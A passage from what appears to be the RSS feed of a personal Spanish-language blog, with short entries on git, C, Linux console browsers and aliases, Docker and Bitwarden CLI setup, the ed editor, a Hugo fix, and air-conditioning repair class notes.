<p><a href="https://www.fsf.org/bulletin/2018/spring/gnu-needs-you-how-to-contribute-to-a-gnu-project">https://www.fsf.org/bulletin/2018/spring/gnu-needs-you-how-to-contribute-to-a-gnu-project</a></p>
<p><a href="https://www.gnu.org/help/">https://www.gnu.org/help/</a></p>
<p><a href="https://www.gnu.org/server/takeaction.html#unmaint">https://www.gnu.org/server/takeaction.html#unmaint</a></p>
<p><a href="https://www.gnu.org/help/priority-projects.html">https://www.gnu.org/help/priority-projects.html</a></p>
<p><a href="https://www.fsf.org/resources/jobs/">https://www.fsf.org/resources/jobs/</a></p>
-
ESP32 controlar LED desde WiFi y fijar IP
https://imlauera.github.io/ip_fija_esp32/
Sun, 29 Dec 2024 12:19:23 -0300
https://imlauera.github.io/ip_fija_esp32/
<p><a href="https://randomnerdtutorials.com/esp32-static-fixed-ip-address-arduino-ide/">https://randomnerdtutorials.com/esp32-static-fixed-ip-address-arduino-ide/</a></p>
-
Como reducir el tamaño de la carpeta .git
https://imlauera.github.io/achicar_git_folder/
Sun, 29 Dec 2024 08:12:00 -0300
https://imlauera.github.io/achicar_git_folder/
<p><a href="https://stackoverflow.com/questions/5613345/how-to-shrink-the-git-folder">https://stackoverflow.com/questions/5613345/how-to-shrink-the-git-folder</a></p>
<p>Linus Torvalds recomienda: <code>git repack -a -d -f --depth=250 --window=250</code></p>
<p>Pero si pusheaste imágenes git repack no las borrará. Para borrar esa información tenés que reescribir todo tu historial. Un ejemplo común de esto es cuando accidentalmente pusheas tus contraseñas en git. Podés borrar los archivos pero luego tenés que reescrbiir tu historial desde que pusheaste la contraseña hasta ahora y luego el nuevo repositorio a al origen.</p>
<blockquote>
<p>Will this get rid of binary data that is orphaned in my repo? “git repack” will not git rid of images or binary data that you have checked into your repo and then deleted it. To delete those kind of data permanently from your repo you have to re-write your history. A common example of that is when you accidentally check in your passwords in git. You can go back and delete some files but then you have to re-write your history from then to now and then force push then new repo to your origin.</p>
-
Como funciona static en C
https://imlauera.github.io/static_en_c/
Sun, 29 Dec 2024 08:06:08 -0300
https://imlauera.github.io/static_en_c/
<p>Respuesta corta … depende.</p>
<ol>
<li>
<p>Las variables locales definidas static no pierden su valor entre las llamadas de función. En otras palabras, son variables globales, pero alcanzan la función local en la que se definen.</p>
</li>
<li>
<p>Las variables globales static no son visibles fuera del archivo C en el que se definen.</p>
</li>
<li>
<p>Las funciones static no son visibles fuera del archivo C en el que se definen.</p>
</li>
</ol>
<p><strong>Ejemplo:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">string</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>helloworld <span style="color:#f92672">=</span> <span style="color:#e6db74">"Hello World.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> helloworld;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s"</span>,<span style="color:#a6e22e">string</span>());
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Running QT apps from the framebuffer in Arch: mpv, kolourpaint
https://imlauera.github.io/archlinux_framebuffer/
Fri, 27 Dec 2024 19:23:38 -0300
https://imlauera.github.io/archlinux_framebuffer/
<h4 id="video-en-archive">Video en Archive</h4>
<p><a href="https://archive.org/details/vid-20241227-164551433">https://archive.org/details/vid-20241227-164551433</a></p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 23) - Dictado de preguntas de exámen
https://imlauera.github.io/clase23_ac/
Sun, 22 Dec 2024 01:19:14 -0300
https://imlauera.github.io/clase23_ac/
<h4 id="audio-en-youtube">Audio en YouTube</h4>
<p><a href="https://www.youtube.com/watch?v=hoNT2eHLkZ8">https://www.youtube.com/watch?v=hoNT2eHLkZ8</a></p>
<h4 id="audio-en-invidious">Audio en Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=hoNT2eHLkZ8">https://redirect.invidious.io/watch?v=hoNT2eHLkZ8</a></p>
<h4 id="audio-en-archive">Audio en Archive</h4>
<p><a href="https://archive.org/details/clase23_preguntas_examen">https://archive.org/details/clase23_preguntas_examen</a></p>
<h4 id="audio-en-vocaroo">Audio en Vocaroo</h4>
<p><a href="https://vocaroo.com/1gwY1YWnVAyo">https://vocaroo.com/1gwY1YWnVAyo</a></p>
<h4 id="fotos">FOTOS: <a href="https://imlauer.blogspot.com/2024/12/aires-acondicionados-clase-23-preguntas.html">https://imlauer.blogspot.com/2024/12/aires-acondicionados-clase-23-preguntas.html</a></h4>
<hr>
<p>Hay preguntas trampa que es para saber si nosotros nos damos cuenta, algo así como un falso multiple-choice te das las opciones pero ninguna es correcta.</p>
<p>El 11 es la próxima clase.</p>
<ol>
<li>¿Qué es refrigerar y que forma de transmitir conocés?
Bajar la temperatura de un cuerpo a menos que de la temperatura ambiente. (Investigar mejor respuesta).
¿Qué es refrigerar y que es enfriamiento?</li>
</ol>
<ul>
<li>Radiación</li>
<li>Conducción</li>
<li>Convección</li>
</ul>
<ol start="2">
<li>En un ambiente de 5 metros x 8 metros donde concurren normalmente 20 personas. ¿Cuántos BTU se necesita para refrigerarlo?</li>
</ol>
<p>Si es 2,6 metros es lado x lado x 200.
Entonces tenemos: 5x8x200+20x70=9400 frigorías x 4 = 37600 BTU.</p>
-
Como usando un navegador de consola puedo ver videos e Instagram. WAYLAND: Tinywl o DWL, Foot, Tmux w3m, QuteBrowser, Konqueror y Falkon(Ex-QupZilla)
https://imlauera.github.io/tinywl_foot_tmux_w3m_falkon/
Fri, 20 Dec 2024 05:26:21 -0300
https://imlauera.github.io/tinywl_foot_tmux_w3m_falkon/
<p>El setup mas minimalista que encontre:</p>
<p>En <code>.bashrc</code> o <code>.zshrc</code> o <code>.config/fish/config.fish</code>:</p>
<h6 id="usá-w3m-con--sixel-para-ver-imágenes-con-foot">Usá w3m con <code>-sixel</code> para ver imágenes con foot.</h6>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> status is-interactive
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Commands to run in interactive sessions can go here</span>
</span></span><span style="display:flex;"><span>end
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>set -U fish_greeting
</span></span><span style="display:flex;"><span>export QT_QPA_PLATFORM<span style="color:#f92672">=</span>wayland
</span></span><span style="display:flex;"><span>alias dgg <span style="color:#e6db74">'w3m -sixel dgg.gg'</span>
</span></span><span style="display:flex;"><span>alias f1 <span style="color:#e6db74">'bash scripts/f1exposure.sh'</span>
</span></span><span style="display:flex;"><span>alias google <span style="color:#e6db74">'cha -V google.com'</span>
</span></span><span style="display:flex;"><span>alias 3dgames <span style="color:#e6db74">'cha -V foros.3dgames.com.ar'</span>
</span></span><span style="display:flex;"><span>alias wgoogle <span style="color:#e6db74">'w3m -sixel google.com'</span>
</span></span><span style="display:flex;"><span>alias tdgg <span style="color:#e6db74">'w3m -sixel dgg.gg'</span>
</span></span><span style="display:flex;"><span>alias imlauera <span style="color:#e6db74">'w3m -sixel imlauera.github.io'</span>
</span></span><span style="display:flex;"><span>alias cimlauera <span style="color:#e6db74">'cha -V imlauera.github.io'</span>
</span></span><span style="display:flex;"><span>alias invidious <span style="color:#e6db74">'w3m -sixel https://inv.nadeko.net/feed/subscriptions'</span>
</span></span><span style="display:flex;"><span>alias cinvidious <span style="color:#e6db74">'cha -V https://inv.nadeko.net/feed/subscriptions'</span>
</span></span></code></pre></div><h3 id="si-vas-a-usar-linuxfb-en-algunos-casos-tenes-que-agregar-esta-bandera-para-que-funcionen-falkon-qutebrowser-y-angelfish">Si vas a usar linuxfb en algunos casos tenes que agregar esta bandera para que funcionen falkon, qutebrowser y angelfish.</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export QTWEBENGINE_CHROMIUM_FLAGS<span style="color:#f92672">=</span><span style="color:#e6db74">"--ignore-gpu-blacklist --disable-gpu"</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>alias upwork<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon upwork.com"</span>
</span></span><span style="display:flex;"><span>alias linkedin<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon linkedin.com"</span>
</span></span><span style="display:flex;"><span>alias freelancer<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon freelancer.com"</span>
</span></span><span style="display:flex;"><span>alias hackernews<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m news.ycombinator.com"</span>
</span></span><span style="display:flex;"><span>alias drudgereport<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m drudgereport.com"</span>
</span></span><span style="display:flex;"><span>alias argentina<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m old.reddit.com/r/argentina"</span>
</span></span><span style="display:flex;"><span>alias rcommandline<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m old.reddit.com/r/commandline"</span>
</span></span><span style="display:flex;"><span>alias buenosaires<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m old.reddit.com/r/BuenosAires"</span>
</span></span><span style="display:flex;"><span>alias duolingo<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon https://duolingo.com/learn"</span>
</span></span><span style="display:flex;"><span>alias f1<span style="color:#f92672">=</span><span style="color:#e6db74">"echo 'Los tiempos están en UTC. Coordinated Universal Time está 3 horas adelantado a Buenos Aires'; bash </span>$HOME<span style="color:#e6db74">/scripts/f1exposure.sh | jq ."</span>
</span></span><span style="display:flex;"><span>alias chatgpt<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon chatgpt.com"</span>
</span></span><span style="display:flex;"><span>alias telegram<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon web.telegram.org"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>export QT_QPA_PLATFORM<span style="color:#f92672">=</span>linuxfb:offset<span style="color:#f92672">=</span>0x0:size<span style="color:#f92672">=</span>1038x700
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_PLATFORM=linuxfb:offset=0x0</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_PLATFORM=</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_PLATFORM=eglfs:offset=900x130:size=768x600</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_PLATFORM=eglfs</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_EGLFS_INTEGRATION=eglfs_kms</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_EGLFS_WIDTH=400</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_EGLFS_HEIGHT=420</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_EGLFS_PHYSICAL_HEIGHT=109.62</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_EGLFS_PHYSICAL_WIDTH=292.32</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_EGLFS_NO_LIBINPUT=1</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_FONTDIR=/lib/Fonts</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export QT_QPA_PLATFORM_PLUGIN_PATH=/usr/lib/plugins/platforms</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#export TERM=xterm-256color</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Start X at login</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#if status --is-login</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># if test -z "$DISPLAY" -a $XDG_VTNR = 1</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># # tmux attach-session -t mysession 2>/dev/null || tmux new-session -s mysession</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># tmux new-session</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># end</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">##end</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#if status --is-login</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># if test -z "$DISPLAY" -a $XDG_VTNR = 1</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># exec dvtm</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># end</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#end</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> test -z <span style="color:#e6db74">"</span>$TMUX<span style="color:#e6db74">"</span> -a $XDG_VTNR <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">#mbsync -a > /dev/null &</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">#exec dvtm</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">#tinywl -s foot</span>
</span></span><span style="display:flex;"><span> tmux attach <span style="color:#f92672">||</span> exec tmux new-session
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p><code>sudo pacman -S tinywl foot tmux w3m qutebrowser</code> y <code>yay -S falkon</code></p>
-
Bitwarden cli
https://imlauera.github.io/bitwarden_cli/
Wed, 18 Dec 2024 13:20:55 -0300
https://imlauera.github.io/bitwarden_cli/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo npm install -g @bitwarden/cli
</span></span><span style="display:flex;"><span>bw --help
</span></span><span style="display:flex;"><span>bw login
</span></span></code></pre></div><p>Agregá <code>export BW_SESSION=...</code> a tu <code>.bashrc</code> o <code>.config/fish/config.fish</code></p>
<p>Luego para buscar y listar los items.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bw list items --search google | jq .
</span></span></code></pre></div>
-
Install docker y docker compose debian 12
https://imlauera.github.io/install_docker_debian/
Tue, 17 Dec 2024 22:07:21 -0300
https://imlauera.github.io/install_docker_debian/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ <span style="color:#66d9ef">for</span> pkg in docker.io docker-doc docker-compose podman-docker containerd runc; <span style="color:#66d9ef">do</span> su <span style="color:#66d9ef">do</span> apt-get remove $pkg; <span style="color:#66d9ef">done</span>
</span></span></code></pre></div><h1 id="add-dockers-official-gpg-key">Add Docker’s official GPG key:</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt-get update
</span></span><span style="display:flex;"><span>sudo apt-get install ca-certificates curl
</span></span><span style="display:flex;"><span>sudo install -m <span style="color:#ae81ff">0755</span> -d /etc/apt/keyrings
</span></span><span style="display:flex;"><span>sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings
</span></span><span style="display:flex;"><span>sudo chmod a+r /etc/apt/keyrings/docker.asc
</span></span></code></pre></div><h1 id="add-the-repository-to-apt-sources">Add the repository to Apt sources:</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#e6db74">"deb [arch=</span><span style="color:#66d9ef">$(</span>dpkg --print-architecture<span style="color:#66d9ef">)</span><span style="color:#e6db74"> signed-by=/etc/apt/keyrings/docker.asc] </span><span style="color:#66d9ef">$(</span>. /etc/os-release <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"</span>$VERSION_CODENAME<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span><span style="color:#e6db74"> stable"</span> | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
</span></span><span style="display:flex;"><span>sudo apt-get update
</span></span></code></pre></div><h4 id="install-docker">Install docker</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
</span></span></code></pre></div><h4 id="verifica-que-la-instalación-fue-exitosa">Verifica que la instalación fue exitosa</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl start docker.service
</span></span><span style="display:flex;"><span>sudo usermod -aG docker $USER
</span></span></code></pre></div><h4 id="ahora-tenés-que-cerrar-tu-sesión-y-volver-a-ingresar-y-ejecutar">Ahora tenés que cerrar tu sesión y volver a ingresar y ejecutar:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo docker run hello-world
</span></span></code></pre></div><p>Fuente: <a href="https://docs.docker.com/engine/install/debian/">https://docs.docker.com/engine/install/debian/</a></p>
-
Ed editor
https://imlauera.github.io/ed_editor/
Tue, 17 Dec 2024 21:43:52 -0300
https://imlauera.github.io/ed_editor/
<p>Con este editor Dennis Ritchie y Ken Thompson programaron un sistema operativo completo.</p>
<p><strong>Instalación</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S ed
</span></span></code></pre></div><p><strong>Uso</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ed hola.txt
</span></span><span style="display:flex;"><span>a <span style="color:#75715e"># Te pone en modo insert</span>
</span></span><span style="display:flex;"><span>Escribi tu texto
</span></span><span style="display:flex;"><span>. <span style="color:#75715e"># Te saca del modo insert</span>
</span></span><span style="display:flex;"><span>w <span style="color:#75715e"># Escribe al archivo</span>
</span></span><span style="display:flex;"><span>p <span style="color:#75715e"># Imprime en donde esta el cursor</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> <span style="color:#75715e"># Mueve el cursor a la linea 1.</span>
</span></span><span style="display:flex;"><span>/algo <span style="color:#75715e"># Mueve el cursor en donde esta algo</span>
</span></span><span style="display:flex;"><span>,n <span style="color:#75715e"># Muestra todas las líneas</span>
</span></span><span style="display:flex;"><span>/return
</span></span><span style="display:flex;"><span>c <span style="color:#75715e"># Borra una linea y te pone en modo insert luego tenés que usar . para salir de insert mode.</span>
</span></span><span style="display:flex;"><span>d <span style="color:#75715e"># Borra una linea</span>
</span></span></code></pre></div>
-
Chawan: Otro navegador para consola con minimo soporte JS similar a w3m
https://imlauera.github.io/chawan/
Tue, 17 Dec 2024 21:42:23 -0300
https://imlauera.github.io/chawan/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>N<span style="color:#f92672">]</span> esotericwarfare@arch ~> yay -Ss chawan
</span></span><span style="display:flex;"><span>aur/chawan-git r2552.965fc542-1 <span style="color:#f92672">(</span>+4 1.68<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>Installed: r2626.31151e3e-1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> Web browser <span style="color:#66d9ef">for</span> your terminal
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch ~>
</span></span></code></pre></div><p><strong>Instalación y uso</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S chawan
</span></span><span style="display:flex;"><span>cha -V https://imlauera.github.io
</span></span></code></pre></div>
-
Fix: Resources tocss
https://imlauera.github.io/resources_tocss/
Tue, 17 Dec 2024 21:29:23 -0300
https://imlauera.github.io/resources_tocss/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Start building sites �
</span></span><span style="display:flex;"><span>hugo v0.140.0+extended linux/amd64 BuildDate<span style="color:#f92672">=</span>unknown
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ERROR deprecated: resources.ToCSS was deprecated in Hugo v0.128.0 and will be removed in Hugo 0.141.0. Use css.Sass instead.
</span></span></code></pre></div><p>Se arregla modificando en themes:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>{{ if $.Site.Params.postcss }}
</span></span><span style="display:flex;"><span>{{ .Scratch.Set "sass" ($sass | resources.ToCSS $options | postCSS | resources.Minify) }}
</span></span><span style="display:flex;"><span>{{ else }}
</span></span><span style="display:flex;"><span>{{ .Scratch.Set "sass" ($sass | resources.ToCSS $options | resources.Minify) }}
</span></span><span style="display:flex;"><span>{{ end }}
</span></span></code></pre></div><p>Por:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>{{ if $.Site.Params.postcss }}
</span></span><span style="display:flex;"><span>{{ .Scratch.Set "sass" ($sass | css.Sass $options | postCSS | resources.Minify) }}
</span></span><span style="display:flex;"><span>{{ else }}
</span></span><span style="display:flex;"><span>{{ .Scratch.Set "sass" ($sass | css.Sass $options | resources.Minify) }}
</span></span><span style="display:flex;"><span>{{ end }}
</span></span></code></pre></div>
-
Convencional vs Inverter
https://imlauera.github.io/convencional_vs_inverter/
Tue, 17 Dec 2024 06:28:24 -0300
https://imlauera.github.io/convencional_vs_inverter/
<p>Inverter: No para, solo baja las revoluciones. Al variar las revoluciones tenemos diferentes presiones del refrigerante
Convencional: para cuando aumenta 5 grados vuelve a arrancar.</p>
<p>Inverter: NO tiene picos de corriente.
Convencional: se siente que cambia la temperatura que baja y aumenta la temperatura, en el inverter no.</p>
<p>Inverter: conectás mal fase y neutro y reventas la placa.</p>
<p>Un equipo convencional funciona al 100% y para y luego arranca al 100% continuamente. El inverter cuando arranca, arranca al 130% baja más rápido la temperatura y una vez que llegó a la temperatura adecuada mantiene el nivel.</p>
-
Curso Inverter: PDFs
https://imlauera.github.io/curso_inverter/
Sun, 15 Dec 2024 04:43:39 -0300
https://imlauera.github.io/curso_inverter/
<p><a href="https://imlauera.github.io/files/aires/inverter/inverter_1.pdf">Curso 1</a>
<a href="https://imlauera.github.io/files/aires/inverter/inverter_2.pdf">Curso 2</a>
<a href="https://imlauera.github.io/files/aires/inverter/inverter_3.pdf">Curso 3</a>
<a href="https://imlauera.github.io/files/aires/inverter/inverter_4.pdf">Curso 4</a></p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 22) - Capacitación reparación de placas Inverter. Frecuencia. Componente con más fallas: diodos. Conmutador: componente de 7 patitas. El optoacoplador es un integrado que de un lado tiene un diodo y del otro lado tiene un fototransistor. Optoacoplador: Es como una especie de relay. Cuando lo desenergizas el relay se despega, y cuando lo energizás se pega, es una especie de relay electrónico. El optoacoplador aisla y se banca hasta 5000 voltios. Conectás mal fase y neutro y explota el integrado. Verificar si transformador roto: de un lado te da 220v pero del otro lado no XD. La memoria es difícil que se dañe. A veces vienen 4 diodos, a veces un puente. Efecto hall. Componente que falla mucho TRIAC, le da la velocidad al ventilador. Cuando se daña el TRIAC: apagás el compresor y el forzador sigue andando o prendes pero no prende el forzador, tenes que revisar motor capacitor si no encontras defectos entonces es el TRIAC de la unidad interior. Factor de potencia: Cuando conectamos una bobina ya sea un motor, un transformador lo que pasa con la corriente eléctrica es que nosotros tenemos la corriente electrónica cuando conectamos una bobinas se produce un adelantamiento de la corriente con respecto de la tensión. Se produce un adelantamiento y un desfasage, la corriente adelanta y la tensión atrasa. Los capacitores atrasan a la corriente con respecto a la tensión. La bobina adelante la corriente, el capacitor atrasa. Si no tiene capacitor tenes que mirar la tablita. Con un inverter nunca te vas a encontrar con eso porque no tiene capacitor. Hay que respetar capacitor por el factor de potencia. Si le pones un capacitor más grande no es que va a ir más rápido estás arruinando el factor de potencia. Cuando el control remoto no les funciona no le responde, hay que desarmar el display y nos encontraremos con el receptor infrarojo tiene 3 patas y es lo mismo que el sensor RPM. Tiene una pata de alimentación positivo negativo y otro de señal, puede estar invertido positivo negativo, señal. Eso suele dañarse, sacan la tapita vamos a encontrar el sensor. Sacar humedad placa: ponele tiner aunque saca el esmalte es más barato que alcohol isopropilico. Como comprar cables. El cable de señal debe ir separado y la puesta a tierra es importante, a veces tarda en fallar si no tiene tierra a veces pasa meses o años. Si no el equipo no le trajo el cable tenés que comprar 2 cables bipolar tipo taller de 2x1 y medio o de 2x2,5 de acuerdo a la potencia del equipo. Cuando te marca un error y se apaga el equipo casi siempre es un error de señal. En neutro y señal con el equipo prendido en continuidad tu tester debe dar entre 5 y 15 voltios, pone tester en escala de 20, en los equipos grandes entre 25 y 50v (en la unidad exterior e interior). Poner terminales si o si porque mete ruido en el cable de señal. Las 3 bobinas tienen que marcar un valor igual o casi igual. En el inverter es difícil volver a cargar hay que poner motor a pleno asegurarse que esté bien hecha pestaña. La deuda del 30. Tener un secretario para que tenga el sensor de ambiente. El inverter siempre usa R-410. El modulo IPM le da el uso a las bobinas. Lo que más se quema es el varistor(protector de alta tensión) que se pone en corto y quema fusible. En los aires tenemos sonda NTC. Al aumentar la temperatura en el ambiente el sensor está bajando su resistencia hasta que llega a un punto que deja pasar la tensión y el microprocesador enciende el motocompresor cuando la temperatura del ambiente comienza a bajar, la resistencia comienza a subir hasta que no deja pasar más la corriente y el procesador apaga el equipo, así maneja el sensor de ambiente. Sensor: Como esto es una resistencia estos 5 voltios tienen que tener una caída de tensión, y acá a mi me tiene que medir entre 2,5 y 2,9 con el sensor enchufado en la placa, tocamos el tester y tiene que tomar esta medición, retiran el sensor y le tiene que marcar 5 voltios porque ahí no hay resistencia si medimos solo los pines (sacando el sensor), con el sensor colocado la resistencia se divide en dos. Bobina toroidal. Filtro pasabajos doble filtro, la placa tiene 2 varistores. Varistor produce cortocircuito para hacer saltar el fusible. Fijarse que no sea un problema de falso contacto hay que mirar con lupa que no esté rajada placa sobre todo en la parte de potencia. Esta bobina toroidal es el corrector del factor de potencia así como en la industria tiene mucha bobina mucha carga reactiva nosotros acá tenemos mucha carga capacitiva, entonces en vez de agregar capacitor tenemos que agregar bobinas. El módulo IPM le dará uso a las diferentes bobinas: U,V,W. Si invertimos la fase habrá U y el motor querrá girar y va a cagar pero podemos corregir no se quema porque las bobinas son las 3 iguales. La bobina adelanta. El capacitor atrasa. De ahí tendremos el diodo y el transistor que corrige el factor de potencia, porque en la industria el 